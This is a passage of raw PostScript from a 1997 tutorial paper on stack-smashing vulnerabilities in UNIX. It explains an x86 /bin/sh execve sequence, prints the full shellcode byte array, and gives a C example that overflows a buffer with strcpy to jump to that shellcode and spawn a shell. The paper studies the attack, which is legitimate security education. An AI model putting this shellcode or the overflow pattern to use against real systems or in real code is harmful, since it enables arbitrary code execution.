SET_CMYK AXFont3p110000 SETFONT GS n 3574 4197 M ( exists somewhere in memory followed by a null long word.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4020 M (3. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1450 4020 M (0xb) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 1699 4020 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 2818 4020 M (EAX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3094 4020 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3843 M (4. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3843 M (The address of the string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 2993 3843 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3637 3843 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 4756 3843 M (EBX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 5032 3843 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3666 M (5. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3666 M (The address of the string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2993 3666 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3574 3666 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 4693 3666 M (ECX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 4969 3666 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3489 M (6. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3489 M (The address of the null long word is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 4623 3489 M (EDX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 4899 3489 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3312 M (7. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3312 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1725 3312 M (int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 2472 3312 M ( instruction is executed, a standard Intel CPU interrupt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3122 M (8. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1450 3122 M (0x1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1782 3122 M (is copied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 2420 3122 M (into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2918 3122 M (EAX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3167 3122 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2942 M (9. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1450 2942 M (0x0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 1699 2942 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2818 2942 M (EBX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3067 2942 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2765 M (10. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 2765 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1725 2765 M (int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 2472 2765 M ( instruction is executed, a standard Intel CPU interrupt.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 2332 M (This listing can be reduced to x86 actual shell code in a standard ANSI C charac\ ter array:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 2043 M 7523 2043 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2038 M 1181 1865 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2038 M 7519 1865 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1864 M 1181 1760 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1864 M 7519 1760 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 1776 M (char shellcode[] =) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2700 1776 M ("\ \\xeb\ \\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b") ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1759 M 1181 1655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1759 M 7519 1655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2700 1671 M ("\ \\x89\ \\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd") ST GR %%PageTrailer AXPageSave restore showpage %%Page: 18 18 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 10000 M 1181 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 10000 M 7519 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 2700 9912 M ("\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9895 M 1181 9722 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9895 M 7519 9722 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9716 M 7523 9716 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p90000 SETFONT GS n 2641 9597 M ( Example 9.a - ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p90000 SETFONT GS n 3434 9597 M (/bin/sh assembly execution sequence) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9254 M (The shell code and buffer overflow examples are combined in the following exampl\ e:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9208 M 7523 9208 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9203 M 1181 9030 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9203 M 7519 9030 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9029 M 1181 8925 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9029 M 7519 8925 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 8941 M (char shellcode[] =) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8924 M 1181 8820 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8924 M 7519 8820 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8836 M ( "\ \\xeb\ \\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b") ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8819 M 1181 8715 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8819 M 7519 8715 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8731 M ( "\ \\x89\ \\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd") ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8714 M 1181 8610 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8714 M 7519 8610 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8626 M ( "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8609 M 1181 8450 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8609 M 7519 8450 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8449 M 1181 8345 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8449 M 7519 8345 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8361 M (char large_string[128];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8344 M 1181 8185 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8344 M 7519 8185 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8184 M 1181 8080 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8184 M 7519 8080 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8096 M (void main\(\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8079 M 1181 7975 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8079 M 7519 7975 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7991 M ( char buffer[96];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7974 M 1181 7870 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7974 M 7519 7870 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7886 M ( int i;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7869 M 1181 7765 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7869 M 7519 7765 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7781 M ( long *long_ptr = \(long *\) large_string; /*long_ptr takes the address of larg\ e_string /*) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7764 M 1181 7605 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7764 M 7519 7605 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7604 M 1181 7500 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7604 M 7519 7500 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7516 M ( /* large_string's first 32 bytes are filled with the address of buffer */) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7499 M 1181 7395 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7499 M 7519 7395 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7411 M ( for \(i = 0; i < 32; i++\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7394 M 1181 7290 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7394 M 7519 7290 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7306 M ( *\(long_ptr + i\) = \(int\) buffer;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7289 M 1181 7130 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7289 M 7519 7130 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7129 M 1181 7025 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7129 M 7519 7025 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7041 M ( /* copy the contents of shellcode into large_string */) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7024 M 1181 6920 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7024 M 7519 6920 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6936 M ( for \(i = 0; i < strlen\(shellcode\); i++\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6919 M 1181 6815 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6919 M 7519 6815 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6831 M ( large_string[i] = shellcode[i];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6814 M 1181 6655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6814 M 7519 6655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6654 M 1181 6550 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6654 M 7519 6550 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6566 M ( /* buffer gets the shellcode and 32 pointers back to itself */) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6549 M 1181 6445 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6549 M 7519 6445 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6461 M ( strcpy\(buffer,large_string\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6444 M 1181 6340 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6444 M 7519 6340 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6356 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6339 M 1181 6166 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6339 M 7519 6166 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6213 M ( ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 6160 M 7523 6160 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p90000 SETFONT GS n 2428 6041 M (Example 9.b - ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p90000 SETFONT GS n 3197 6041 M (buffer overflow with shell code execution) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5615 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2154 5615 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2409 5615 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2896 5615 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3262 5615 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3443 5615 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4087 5615 M (9.a; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 5615 M (First, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4784 5615 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5780 5615 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5832 5615 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5995 5615 M (filled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6398 5615 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6745 5615 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 5615 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5339 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1397 5339 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1895 5339 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1992 5339 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2453 5339 M (points ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2914 5339 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3098 5339 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3356 5339 M (future ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3809 5339 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4420 5339 M (location ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5010 5339 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5204 5339 M (our ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5481 5339 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5850 5339 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6219 5339 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6968 5339 M (Second, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5063 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 5063 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1886 5063 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2280 5063 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2471 5063 M (copied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2994 5063 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3332 5063 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3615 5063 M (beginning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4359 5063 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4578 5063 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4861 5063 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5857 5063 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5937 5063 M (character ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6628 5063 M (array. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7135 5063 M (Next, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1200 4787 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 1864 4787 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1983 4787 M (copies ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2462 4787 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3458 4787 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3512 4787 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3861 4787 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4359 4787 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4406 4787 M (overflowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5273 4787 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5530 4787 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5982 4787 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6578 4787 M (overwriting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7408 4787 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4511 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1567 4511 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1836 4511 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2402 4511 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2607 4511 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2876 4511 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3256 4511 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3636 4511 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4396 4511 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4859 4511 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5128 4511 M (main\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5626 4511 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6246 4511 M (completes, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 4511 M (control ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4235 M (jumps to our shell code sequence, and returns an interactive shell.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 19 19 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9995 M 7523 9995 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9990 M 1181 6896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9990 M 7519 6896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 1200 9976 7030 7026 DOCLIPBOX n 1200 9976 M 7029 9976 L 7029 7027 L 1200 7027 L 1200 9976 L 7029 9976 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1200 9976 7030 7026 DOCLIPBOX n 1718 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0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9670 M 7011 9670 L 7011 9660 L 5002 9660 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9663 M 